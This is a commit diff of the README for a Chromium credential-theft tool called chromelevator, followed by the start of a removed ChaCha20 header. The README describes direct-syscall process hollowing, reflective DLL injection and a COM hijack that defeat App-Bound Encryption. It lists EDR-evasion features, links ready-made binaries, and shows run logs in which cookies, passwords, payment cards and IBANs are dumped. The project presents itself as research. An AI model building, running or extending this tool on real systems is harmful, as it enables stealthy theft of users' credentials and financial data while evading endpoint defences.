mirror of
https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
synced 2026-06-08 18:24:00 +00:00
v0.17.0
This commit is contained in:
@@ -2,6 +2,19 @@
|
||||
|
||||
## 🆕 Changelog
|
||||
|
||||
### v0.17.0
|
||||
- **Full Codebase Refactor**: Completely rewrote the project into a modern, modular C++ architecture.
|
||||
- **Compile-Time Key Derivation**: Eliminated static encryption keys from the binary.
|
||||
- Keys derived at compile-time from version tag + build date via FNV-1a/MurmurHash3 cascade.
|
||||
- Each build produces unique encryption keys automatically.
|
||||
- **Hash-Based Syscall Resolution**: Eliminated plaintext syscall names from the binary.
|
||||
- All syscall names replaced with compile-time DJB2 hashes.
|
||||
- **Reflective Loader Enhancements**:
|
||||
- **PE Header Destruction**: After payload mapping, PE headers (MZ/PE signatures) are overwritten with pseudo-random data.
|
||||
- **Syscall-Based Memory Operations**: Now uses direct syscalls for `NtAllocateVirtualMemory` and `NtProtectVirtualMemory`.
|
||||
- **Enhanced Fingerprint Extraction**: More comprehensive browser metadata collection (`-f` flag).
|
||||
- **Redesigned Console Output**: Cleaner visual hierarchy with box-drawing tree structure.
|
||||
|
||||
### v0.16.1
|
||||
- **New Feature: IBAN Extraction**: Added support for extracting International Bank Account Numbers (IBANs) (thanks [raphaelthief](https://github.com/raphaelthief)!)
|
||||
- Extracts encrypted IBAN values and associated nicknames.
|
||||
|
||||
@@ -8,20 +8,20 @@
|
||||

|
||||
[](https://deepwiki.com/xaitax/Chrome-App-Bound-Encryption-Decryption)
|
||||
|
||||
A post-exploitation tool demonstrating a complete, in-memory bypass of Chromium's **App-Bound Encryption (ABE)**. This project utilizes **Direct Syscall-based Reflective Process Hollowing** to launch a legitimate browser process in a suspended state, stealthily injecting a payload to hijack its identity and security context. This **Living-off-the-Land (LOTL)** technique that subverts the browser's own security model. The fileless approach allows the tool to operate entirely from memory, bypassing user-land API hooks to decrypt and exfiltrate sensitive user data (cookies, passwords, payments) from modern Chromium browsers.
|
||||
A post-exploitation tool demonstrating a complete, in-memory bypass of Chromium's **App-Bound Encryption (ABE)**. This project utilizes **Direct Syscall-based Reflective Process Hollowing** to launch a legitimate browser process in a suspended state, stealthily injecting a payload to hijack its identity and security context. This **Living-off-the-Land (LOTL)** technique subverts the browser's own security model. The fileless approach allows the tool to operate entirely from memory, bypassing user-land API hooks to decrypt and exfiltrate sensitive user data (cookies, passwords, payments) from modern Chromium browsers.
|
||||
|
||||
If you find this research valuable, I’d appreciate a coffee:
|
||||
If you find this research valuable, I'd appreciate a coffee:
|
||||
[](https://ko-fi.com/M4M61EP5XL)
|
||||
|
||||
## 🛡️ Core Technical Pillars
|
||||
|
||||
This tool's effectiveness is rooted in a combination of modern, evasion-focused techniques:
|
||||
|
||||
- **Direct Syscalls for Evasion:** Bypasses EDR/AV user-land hooks on standard WinAPI functions by invoking kernel functions directly. The engine is robust and dynamically resolves syscall numbers at runtime, ensuring compatibility across Windows versions.
|
||||
- **Direct Syscalls for Evasion:** Bypasses EDR/AV user-land hooks on standard WinAPI functions by invoking kernel functions directly. The engine dynamically resolves syscall numbers at runtime using **Hell's Gate** technique with **hash-based function matching** (no plaintext syscall names in the binary).
|
||||
|
||||
- **Direct Syscall-Based Process Hollowing:** A stealthy process creation and injection technique. Instead of injecting into a high-traffic, potentially monitored process, it creates a new, suspended host process. This significantly reduces the chances of detection, as all memory manipulations occur before the process begins normal execution.
|
||||
|
||||
- **Fileless In-Memory Payload:** The payload DLL never touches the disk on the target machine. It is stored encrypted within the injector, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.
|
||||
- **Fileless In-Memory Payload:** The payload DLL never touches the disk on the target machine. It is stored encrypted within the injector using **ChaCha20** with **compile-time derived keys**, decrypted in-memory, and reflectively loaded, minimizing its forensic footprint and bypassing static file-based scanners.
|
||||
|
||||
- **Reflective DLL Injection (RDI):** A stealthy process injection method that circumvents `LoadLibrary`, thereby evading detection mechanisms that monitor module loads. The self-contained C loader resolves all of its own dependencies from memory.
|
||||
|
||||
@@ -34,13 +34,15 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
|
||||
- 🔓 Full user-mode decryption of cookies, passwords, payment methods, and IBANs.
|
||||
- 📁 Discovers and processes all user profiles (Default, Profile 1, etc.).
|
||||
- 📝 Exports all extracted data into structured JSON files, organized by profile.
|
||||
- 🔍 Browser Fingerprinting of browser metadata and system information.
|
||||
- 🔍 Comprehensive browser fingerprinting with system information.
|
||||
|
||||
### Stealth & Evasion
|
||||
|
||||
- 🛡️ **Fileless Payload Delivery:** In-memory decryption and injection of an encrypted resource.
|
||||
- 🛡️ **Direct Syscall Engine:** Bypasses common endpoint defenses by avoiding hooked user-land APIs for all process operations.
|
||||
- 🛡️ **Syscall Obfuscation:** Runtime XOR encryption of syscall table in memory to evade detection by security tools.
|
||||
- 🛡️ **Hash-Based Syscall Resolution:** No plaintext `Nt*`/`Zw*` function names in binary—uses compile-time DJB2 hashes.
|
||||
- 🛡️ **Compile-Time Key Derivation:** Encryption keys derived from build metadata, unique per build.
|
||||
- 🛡️ **PE Header Destruction:** Post-injection PE headers obliterated with pseudo-random data to evade memory scanners.
|
||||
- 🛡️ **IPC Mimicry:** Browser-specific named pipe patterns that blend with legitimate browser IPC traffic.
|
||||
- 🤫 **Process Hollowing:** Creates a benign, suspended host process for the payload, avoiding injection into potentially monitored processes.
|
||||
- 👻 **Reflective DLL Injection:** Stealthily loads the payload without suspicious `LoadLibrary` calls.
|
||||
@@ -59,11 +61,11 @@ This tool's effectiveness is rooted in a combination of modern, evasion-focused
|
||||
|
||||
## 📦 Supported & Tested Versions
|
||||
|
||||
| Browser | Tested Version (x64 & ARM64) |
|
||||
| Browser | Tested Version (x64 & ARM64) |
|
||||
| ------------------ | ---------------------------- |
|
||||
| **Google Chrome** | 142.0.7444.60 |
|
||||
| **Brave** | 1.84.132 (142.0.7444.60) |
|
||||
| **Microsoft Edge** | 142.0.3595.53 |
|
||||
| **Google Chrome** | 143.0.7499.170 |
|
||||
| **Brave** | 1.85.118 (143.0.7499.169) |
|
||||
| **Microsoft Edge** | 144.0.3719.35 |
|
||||
|
||||
## 🔍 Feature Support Matrix
|
||||
|
||||
@@ -72,7 +74,7 @@ This matrix outlines the extraction capabilities for each supported browser.
|
||||
| Feature | Google Chrome | Brave | Microsoft Edge |
|
||||
|----------------------|------------------------|------------------------|-----------------------------------------|
|
||||
| **Cookies** | ✅ ABE | ✅ ABE | ✅ ABE |
|
||||
| **Passwords** | ✅ ABE | ✅ ABE | ⚠️ DPAPI v10 (ABE not yet implemented) |
|
||||
| **Passwords** | ✅ ABE | ✅ ABE | ✅ ABE |
|
||||
| **Payment Methods** | ✅ ABE | ✅ ABE | ✅ ABE |
|
||||
| **IBANs** | ✅ ABE | ✅ ABE | ❌ Not existing |
|
||||
|
||||
@@ -87,19 +89,25 @@ The tool's execution is focused on stealth and efficiency, built around a **Dire
|
||||
|
||||
### **Stage 1: The Injector (`chromelevator.exe`)**
|
||||
|
||||
1. **Pre-Flight & Initialization:** The injector begins by initializing its **direct syscall engine**, dynamically parsing `ntdll.dll` to resolve syscall numbers (SSNs) and locate kernel transition gadgets (`syscall/ret` or `svc/ret`). It then performs a critical pre-flight check, using `NtGetNextProcess` and other syscalls to find and terminate any browser "network service" child processes. This preemptively releases file locks on the target SQLite databases.
|
||||
2. **Payload Preparation:** The core payload DLL, which is stored as a **ChaCha20-encrypted resource**, is loaded and decrypted entirely in-memory.
|
||||
1. **Pre-Flight & Initialization:** The injector begins by initializing its **direct syscall engine**, dynamically parsing `ntdll.dll` to resolve syscall numbers (SSNs) using hash-based matching and locate kernel transition gadgets (`syscall/ret` or `svc/ret`). It then performs a critical pre-flight check, using `NtGetNextProcess` and other syscalls to find and terminate any browser "network service" child processes. This preemptively releases file locks on the target SQLite databases.
|
||||
2. **Payload Preparation:** The core payload DLL, which is stored as a **ChaCha20-encrypted resource** with compile-time derived keys, is loaded and decrypted entirely in-memory.
|
||||
3. **Process Hollowing:** Instead of targeting an existing process, the injector creates a new instance of the target browser in a **`CREATE_SUSPENDED`** state (`CreateProcessW`). This pristine, suspended process serves as the host for our payload.
|
||||
4. **Reflective Injection via Syscalls:** Using the direct syscall engine, the injector performs a series of stealthy actions on the suspended process:
|
||||
- It allocates memory using `NtAllocateVirtualMemory`.
|
||||
- It allocates memory using `NtAllocateVirtualMemory` (direct syscall).
|
||||
- It writes the decrypted payload DLL into the allocated space with `NtWriteVirtualMemory`.
|
||||
- It changes the memory region's permissions to executable using `NtProtectVirtualMemory`.
|
||||
- It changes the memory region's permissions to executable using `NtProtectVirtualMemory` (direct syscall).
|
||||
- It creates a **named pipe** for communication and writes the pipe's name into the target's memory.
|
||||
5. **Execution & Control:** A new thread is created in the target process using `NtCreateThreadEx`. The thread's start address points directly to the payload's `ReflectiveLoader` export, with the address of the remote pipe name as its argument. The original main thread of the browser remains suspended and is never resumed. The injector then waits for the payload to connect back to the pipe.
|
||||
5. **Execution & Control:** A new thread is created in the target process using `NtCreateThreadEx`. The thread's start address points directly to the payload's `Bootstrap` export, with the address of the remote pipe name as its argument. The original main thread of the browser remains suspended and is never resumed. The injector then waits for the payload to connect back to the pipe.
|
||||
|
||||
### **Stage 2: The Injected Payload (In-Memory)**
|
||||
|
||||
1. **Bootstrapping:** The `ReflectiveLoader` stub executes, functioning as a custom in-memory PE loader. It correctly maps the DLL's sections, performs base relocations, and resolves its Import Address Table (IAT) by parsing the PEB and hashing function names. Finally, it invokes the payload's `DllMain`.
|
||||
1. **Bootstrapping:** The `Bootstrap` reflective loader executes, functioning as a custom in-memory PE loader with enhanced stealth:
|
||||
- Allocates new memory for the payload using **direct syscalls** to `NtAllocateVirtualMemory` (bypassing hooked `VirtualAlloc`).
|
||||
- Correctly maps the DLL's sections and performs base relocations.
|
||||
- Resolves its Import Address Table (IAT) by parsing the PEB and hashing function names.
|
||||
- Sets section permissions using **direct syscalls** to `NtProtectVirtualMemory`.
|
||||
- **Destroys PE headers** by overwriting DOS/NT headers with pseudo-random data, eliminating MZ signature from memory.
|
||||
- Finally, invokes the payload's `DllMain`.
|
||||
2. **Connection & Setup:** The `DllMain` spawns a new thread that immediately connects to the named pipe handle passed by the injector. It reads the configuration, including the output path, sent by the injector. All subsequent logs and status updates are relayed back through this pipe.
|
||||
3. **Target-Context COM Hijack:** Now running natively within the browser process, the payload instantiates the browser's internal `IOriginalBaseElevator` or `IEdgeElevatorFinal` COM server. As the call originates from a trusted process path, all of the server's security checks are passed.
|
||||
4. **Master Key Decryption:** The payload calls the `DecryptData` method on the COM interface, providing the `app_bound_encrypted_key` it reads from the `Local State` file. The COM server dutifully decrypts the key and returns the plaintext AES-256 master key to the payload.
|
||||
@@ -116,9 +124,15 @@ This project uses a simple, robust build script that handles all compilation and
|
||||
|
||||
3. Run the build script `make.bat` from the project root.
|
||||
|
||||
**Build Options:**
|
||||
- `make.bat` - Full build (default)
|
||||
- `make.bat clean` - Remove all build artifacts
|
||||
- `make.bat build_encryptor_only` - Build only the encryptor (used by CI)
|
||||
- `make.bat build_target_only` - Build payload and injector (used by CI)
|
||||
|
||||
### Automated Builds with GitHub Actions
|
||||
|
||||
This project uses GitHub Actions to automatically builds the injector executable (`chromelevator.exe`) for both **x64** and **ARM64** architectures
|
||||
This project uses GitHub Actions to automatically build the injector executable (`chromelevator.exe`) for both **x64** and **ARM64** architectures.
|
||||
|
||||
You can find the latest pre-compiled binaries on the [**Releases page**](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/releases). The executables for both architectures are packaged together in a single, convenient .zip file.
|
||||
|
||||
@@ -130,31 +144,23 @@ You can find the latest pre-compiled binaries on the [**Releases page**](https:/
|
||||
## 🚀 Usage
|
||||
|
||||
```bash
|
||||
PS> .\chromelevator.exe
|
||||
PS> .\chromelevator.exe --help
|
||||
|
||||
_________ .__ ___________.__ __
|
||||
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
|
||||
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
|
||||
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
|
||||
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
|
||||
\/ \/ \/ \/ \/ \/
|
||||
|
||||
Direct Syscall-Based Reflective Hollowing
|
||||
x64 & ARM64 | v0.16.0 by @xaitax
|
||||
x64 & ARM64 | v0.17.0 by @xaitax
|
||||
|
||||
Usage:
|
||||
chrome_inject.exe [options] <chrome|brave|edge|all>
|
||||
Usage: chromelevator.exe [options] <chrome|edge|brave|all>
|
||||
|
||||
Options:
|
||||
--output-path|-o <path> Directory for output files (default: .\output\)
|
||||
--verbose|-v Enable verbose debug output from the injector
|
||||
--fingerprint|-f Extract browser fingerprinting data
|
||||
--help|-h Show this help message
|
||||
|
||||
Browser targets:
|
||||
chrome - Extract from Google Chrome
|
||||
brave - Extract from Brave Browser
|
||||
edge - Extract from Microsoft Edge
|
||||
all - Extract from all installed browsers
|
||||
Options:
|
||||
-v, --verbose Show detailed output
|
||||
-f, --fingerprint Extract browser fingerprint
|
||||
-o, --output-path Custom output directory
|
||||
```
|
||||
|
||||
### Options
|
||||
@@ -174,7 +180,7 @@ Browser targets:
|
||||
- `--help` or `-h`
|
||||
Show this help message.
|
||||
|
||||
#### Normal Run
|
||||
### Normal Run
|
||||
|
||||
```bash
|
||||
PS> .\chromelevator.exe all
|
||||
@@ -184,99 +190,110 @@ _________ .__ ___________.__ __
|
||||
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
|
||||
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
|
||||
\/ \/ \/ \/ \/ \/
|
||||
|
||||
Direct Syscall-Based Reflective Hollowing
|
||||
x64 & ARM64 | v0.16.1 by @xaitax
|
||||
x64 & ARM64 | v0.17.0 by @xaitax
|
||||
|
||||
[*] Processing 3 browser(s):
|
||||
┌──── Brave ──────────────────────────────────────
|
||||
│
|
||||
│ Decryption Key
|
||||
│ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
|
||||
│
|
||||
├── Default
|
||||
│ Cookies 2446/2467
|
||||
│ Passwords 46
|
||||
│ Cards 1
|
||||
│ IBANs 1
|
||||
│
|
||||
└── 2446 cookies, 46 passwords, 1 cards, 1 IBANs (1 profile)
|
||||
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
|
||||
|
||||
[*] Chrome
|
||||
[+] AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094
|
||||
[+] Extracted 481 cookies, 2 passwords and 1 payments from 2 profiles
|
||||
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
|
||||
┌──── Chrome ──────────────────────────────────────
|
||||
│
|
||||
│ Decryption Key
|
||||
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
|
||||
│
|
||||
├── Default
|
||||
│ Cookies 378/382
|
||||
│ Passwords 1
|
||||
│
|
||||
├── Profile 1
|
||||
│ Cookies 768/773
|
||||
│ Passwords 2
|
||||
│ Cards 1
|
||||
│ IBANs 1
|
||||
│
|
||||
└── 1146 cookies, 3 passwords, 1 cards, 1 IBANs (2 profiles)
|
||||
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
|
||||
|
||||
[*] Edge
|
||||
[+] AES Key: b0334fad7f5805362cb4c44b144a95ab7a68f7346ef99eb3f175f09db08c8fd9
|
||||
[+] Extracted 203 cookies and 2 passwords from 2 profiles
|
||||
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
|
||||
|
||||
[*] Brave
|
||||
[+] AES Key: 5f5b1c8112fba445332a9b01a59349f1112426753bfee2c5908aab6c46982fcd
|
||||
[+] Extracted 2484 cookies, 1028 passwords and 1 payments from 1 profile
|
||||
[+] Stored in C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave
|
||||
|
||||
[*] Completed: 3 successful, 0 failed
|
||||
┌──── Edge ──────────────────────────────────────
|
||||
│
|
||||
│ Decryption Key
|
||||
│ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
|
||||
│
|
||||
├── Default
|
||||
│ Cookies 220/222
|
||||
│ Passwords 2
|
||||
│ Cards 1
|
||||
│
|
||||
├── Profile 1
|
||||
│ Cookies 42
|
||||
│
|
||||
└── 262 cookies, 2 passwords, 1 cards (2 profiles)
|
||||
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge
|
||||
```
|
||||
|
||||
#### Verbose
|
||||
### Verbose
|
||||
|
||||
```bash
|
||||
PS> .\chromelevator.exe chrome -v -f
|
||||
PS> .\chromelevator.exe -v -f chrome
|
||||
|
||||
_________ .__ ___________.__ __
|
||||
\_ ___ \| |_________ ____ _____ \_ _____/| | _______ _______ _/ |_ ___________
|
||||
/ \ \/| | \_ __ \/ _ \ / \ | __)_ | | _/ __ \ \/ /\__ \\ __\/ _ \_ __ \
|
||||
\ \___| Y \ | \( <_> ) Y Y \| \| |_\ ___/\ / / __ \| | ( <_> ) | \/
|
||||
\______ /___| /__| \____/|__|_| /_______ /|____/\___ >\_/ (____ /__| \____/|__|
|
||||
\/ \/ \/ \/ \/ \/
|
||||
|
||||
Direct Syscall-Based Reflective Hollowing
|
||||
x64 & ARM64 | v0.16.1 by @xaitax
|
||||
x64 & ARM64 | v0.17.0 by @xaitax
|
||||
|
||||
[#] Found and sorted 489 Zw* functions.
|
||||
[#] Initialized 19 syscall stubs (with obfuscation).
|
||||
[#] Obfuscation layer active - syscalls encrypted in memory
|
||||
[#] Searching Registry for: chrome.exe
|
||||
[#] Found at: C:\Program Files\Google\Chrome\Application\chrome.exe
|
||||
[#] Scanning for and terminating browser network services...
|
||||
[#] Creating suspended Chrome process.
|
||||
[#] Target executable path: C:\Program Files\Google\Chrome\Application\chrome.exe
|
||||
[#] Created suspended process PID: 6088
|
||||
[#] Architecture match: Injector=ARM64, Target=ARM64
|
||||
[#] Named pipe server created: \\.\pipe\chrome.nacl.3150_4B01
|
||||
[#] Loading and decrypting payload DLL.
|
||||
[#] Parsing payload PE headers for ReflectiveLoader.
|
||||
[#] ReflectiveLoader found at file offset: 0x14fb0
|
||||
[#] Allocating memory for payload in target process.
|
||||
[#] Combined memory for payload and parameters allocated at: 0x2d6fec10000
|
||||
[#] Writing payload DLL to target process.
|
||||
[#] Writing pipe name parameter into the same allocation.
|
||||
[#] Changing payload memory protection to executable.
|
||||
[#] Creating new thread in target to execute ReflectiveLoader.
|
||||
[#] Successfully created new thread for payload.
|
||||
[#] New thread created for payload. Main thread remains suspended.
|
||||
[#] Waiting for payload to connect to named pipe.
|
||||
[#] Payload connected to named pipe.
|
||||
[#] Sent message to pipe: VERBOSE_TRUE
|
||||
[#] Sent message to pipe: FINGERPRINT_TRUE
|
||||
[#] Sent message to pipe: C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output
|
||||
[#] Waiting for payload execution. (Pipe: \\.\pipe\chrome.nacl.3150_4B01)
|
||||
|
||||
[*] Decryption process started for Chrome
|
||||
[+] COM library initialized (APARTMENTTHREADED).
|
||||
[*] Reading Local State file: C:\Users\ah\AppData\Local\Google\Chrome\User Data\Local State
|
||||
[*] Attempting to decrypt master key via Chrome's COM server...
|
||||
[+] Decrypted AES Key: 3fa14dc988a34c85bdb872159b739634cb7e56f8e34449c1494297b9b629d094
|
||||
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
|
||||
[+] Found 2 profile(s).
|
||||
[*] Processing profile: Default
|
||||
[*] 378 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\cookies.json
|
||||
[*] 1 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Default\passwords.json
|
||||
[*] Processing profile: Profile 1
|
||||
[*] 622 cookies extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\cookies.json
|
||||
[*] 2 passwords extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\passwords.json
|
||||
[*] 1 payments extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\payments.json
|
||||
[*] 1 iban extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\Profile 1\iban.json
|
||||
[*] Extraction complete: 2 successful, 0 failed.
|
||||
[*] Extracting browser fingerprint data...
|
||||
[*] Discovering browser profiles in: C:\Users\ah\AppData\Local\Google\Chrome\User Data
|
||||
[+] Found 2 profile(s).
|
||||
[+] Browser fingerprint extracted to C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome\fingerprint.json
|
||||
[#] Payload completion signal received.
|
||||
|
||||
[#] Payload signaled completion or pipe interaction ended.
|
||||
[#] Terminating browser PID=6088 via direct syscall.
|
||||
[#] Chrome terminated by injector.
|
||||
[+] Extraction completed successfully
|
||||
┌──── Chrome ──────────────────────────────────────
|
||||
│ Terminating browser network services...
|
||||
│ [+] Network services terminated
|
||||
│ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe
|
||||
│ [+] Process created (PID: 25184)
|
||||
│ [+] IPC pipe established: \\.\pipe\chrome.nacl.20027_76C4
|
||||
│ Deriving runtime decryption keys...
|
||||
│ [+] Payload decrypted (1044 KB)
|
||||
│ [+] Bootstrap entry point resolved (offset: 0x2a690)
|
||||
│ Allocating memory in target process via syscall...
|
||||
│ [+] Memory allocated at 0x1c2dec60000 (1048 KB)
|
||||
│ [+] Payload + parameters written
|
||||
│ [+] Memory protection set to PAGE_EXECUTE_READ
|
||||
│ Creating remote thread via syscall...
|
||||
│ [+] Thread created (entry: 0x1c2dec8a690)
|
||||
│ Awaiting payload connection...
|
||||
│ [+] Payload connected
|
||||
│ Running in Chrome
|
||||
│
|
||||
│ Decryption Key
|
||||
│ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
|
||||
│
|
||||
├── Default
|
||||
│ Size 13 MB
|
||||
│ Cookies 378/382
|
||||
│ Passwords 1
|
||||
│
|
||||
├── Profile 1
|
||||
│ Size 610 MB
|
||||
│ Cookies 768/773
|
||||
│ Passwords 2
|
||||
│ Cards 1
|
||||
│ IBANs 1
|
||||
│ Extracting comprehensive fingerprint...
|
||||
│ Fingerprint saved to fingerprint.json
|
||||
│
|
||||
└── 1146 cookies, 3 passwords, 1 cards, 1 IBANs (2 profiles)
|
||||
C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome
|
||||
```
|
||||
|
||||
## 📂 Data Extraction
|
||||
@@ -286,7 +303,7 @@ Once decryption completes, data is saved to the specified output path (defaultin
|
||||
**Base Path:** `YOUR_CHOSEN_PATH` (e.g., `.\output\` or the path you provide)
|
||||
**Structure:** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json
|
||||
|
||||
Example paths (assuming default output location):\*\*
|
||||
Example paths (assuming default output location):
|
||||
|
||||
- 🍪 **Cookies (Chrome Default profile):** .\output\Chrome\Default\cookies.json
|
||||
- 🔑 **Passwords (Edge Profile 1):** .\output\Edge\Profile 1\passwords.json
|
||||
@@ -320,15 +337,10 @@ Each password file is a JSON array of objects:
|
||||
```json
|
||||
[
|
||||
{
|
||||
"origin": "https://example.com/login",
|
||||
"username": "user@example.com",
|
||||
"password": "••••••••••"
|
||||
"url": "https://example.com/login",
|
||||
"user": "user@example.com",
|
||||
"pass": "••••••••••"
|
||||
},
|
||||
{
|
||||
"origin": "https://another.example.com",
|
||||
"username": "another_user",
|
||||
"password": "••••••••••"
|
||||
}
|
||||
…
|
||||
]
|
||||
```
|
||||
@@ -340,19 +352,12 @@ Each payment file is a JSON array of objects:
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name_on_card": "John Doe",
|
||||
"expiration_month": 12,
|
||||
"expiration_year": 2030,
|
||||
"card_number": "••••••••••1234",
|
||||
"name": "John Doe",
|
||||
"month": 12,
|
||||
"year": 2030,
|
||||
"number": "••••••••••1234",
|
||||
"cvc": "•••"
|
||||
},
|
||||
{
|
||||
"name_on_card": "Jane Smith",
|
||||
"expiration_month": 07,
|
||||
"expiration_year": 2028,
|
||||
"card_number": "••••••••••5678",
|
||||
"cvc": "•••"
|
||||
}
|
||||
…
|
||||
]
|
||||
```
|
||||
@@ -365,36 +370,42 @@ Each IBAN file is a JSON array of objects:
|
||||
[
|
||||
{
|
||||
"nickname": "UK Test",
|
||||
"value": "GB33BUKB20201555555555"
|
||||
"iban": "GB33BUKB20201555555555"
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
### 🔍 Browser Fingerprinting
|
||||
|
||||
When using the `--fingerprint` flag, a comprehensive metadata report is generated:
|
||||
When using the `--fingerprint` or `-f` flag, a comprehensive metadata report is generated:
|
||||
|
||||
```json
|
||||
{
|
||||
"browser": "Brave",
|
||||
"browser_version": "141.1.83.109",
|
||||
"executable_path": "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
|
||||
"user_data_path": "C:\\Users\\username\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data",
|
||||
"browser": "Chrome",
|
||||
"executable_path": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"browser_version": "143.0.7499.170",
|
||||
"user_data_path": "C:\\Users\\username\\AppData\\Local\\Google\\Chrome\\User Data",
|
||||
"sync_enabled": false,
|
||||
"enterprise_managed": false,
|
||||
"enterprise_managed": true,
|
||||
"update_channel": "stable",
|
||||
"default_search_engine": "Google",
|
||||
"hardware_acceleration": true,
|
||||
"hardware_acceleration": false,
|
||||
"metrics_enabled": false,
|
||||
"autofill_enabled": true,
|
||||
"password_manager_enabled": true,
|
||||
"password_manager_enabled": false,
|
||||
"safe_browsing_enabled": true,
|
||||
"installed_extensions_count": 12,
|
||||
"extension_ids": ["abc123...", "def456...", ...],
|
||||
"profile_count": 1,
|
||||
"do_not_track": false,
|
||||
"third_party_cookies_blocked": false,
|
||||
"translate_enabled": true,
|
||||
"installed_extensions_count": 2,
|
||||
"extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"],
|
||||
"profile_count": 2,
|
||||
"computer_name": "DESKTOP-ABC123",
|
||||
"windows_user": "username",
|
||||
"last_config_update": 1759127932,
|
||||
"extraction_timestamp": 1759213456
|
||||
"os_version": "10.0.26220",
|
||||
"architecture": "ARM64",
|
||||
"last_config_update": 1766578854,
|
||||
"extraction_timestamp": 1766591611,
|
||||
"extraction_complete": true
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
@@ -1,108 +0,0 @@
|
||||
// libs/chacha/chacha.h
|
||||
// A public domain, self-contained ChaCha20 implementation.
|
||||
|
||||
#ifndef CHACHA20_H
|
||||
#define CHACHA20_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// Main ChaCha20 function. Encrypts/decrypts data in place.
|
||||
void chacha20_block(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t* out);
|
||||
void chacha20_xor(const uint8_t key[32], const uint8_t nonce[12], uint8_t* data, size_t data_len, uint32_t counter);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // CHACHA20_H
|
||||
|
||||
#ifdef CHACHA20_IMPLEMENTATION
|
||||
|
||||
// Internal utility functions
|
||||
static uint32_t chacha20_load32(const uint8_t *x) {
|
||||
return (uint32_t)(x[0]) | ((uint32_t)(x[1]) << 8) | ((uint32_t)(x[2]) << 16) | ((uint32_t)(x[3]) << 24);
|
||||
}
|
||||
|
||||
static void chacha20_store32(uint8_t *x, uint32_t u) {
|
||||
x[0] = u & 0xff; u >>= 8;
|
||||
x[1] = u & 0xff; u >>= 8;
|
||||
x[2] = u & 0xff; u >>= 8;
|
||||
x[3] = u & 0xff;
|
||||
}
|
||||
|
||||
static uint32_t chacha20_rotl(uint32_t x, int n) {
|
||||
return (x << n) | (x >> (32 - n));
|
||||
}
|
||||
|
||||
// The ChaCha20 quarter round function
|
||||
#define CHACHA20_QR(a, b, c, d) \
|
||||
a += b; d ^= a; d = chacha20_rotl(d, 16); \
|
||||
c += d; b ^= c; b = chacha20_rotl(b, 12); \
|
||||
a += b; d ^= a; d = chacha20_rotl(d, 8); \
|
||||
c += d; b ^= c; b = chacha20_rotl(b, 7);
|
||||
|
||||
void chacha20_block(const uint8_t key[32], const uint8_t nonce[12], uint32_t counter, uint8_t* out) {
|
||||
uint32_t x[16];
|
||||
uint32_t j[16];
|
||||
int i;
|
||||
|
||||
// Constants
|
||||
x[0] = 0x61707865;
|
||||
x[1] = 0x3320646e;
|
||||
x[2] = 0x79622d32;
|
||||
x[3] = 0x6b206574;
|
||||
|
||||
// Key
|
||||
x[4] = chacha20_load32(key + 0);
|
||||
x[5] = chacha20_load32(key + 4);
|
||||
x[6] = chacha20_load32(key + 8);
|
||||
x[7] = chacha20_load32(key + 12);
|
||||
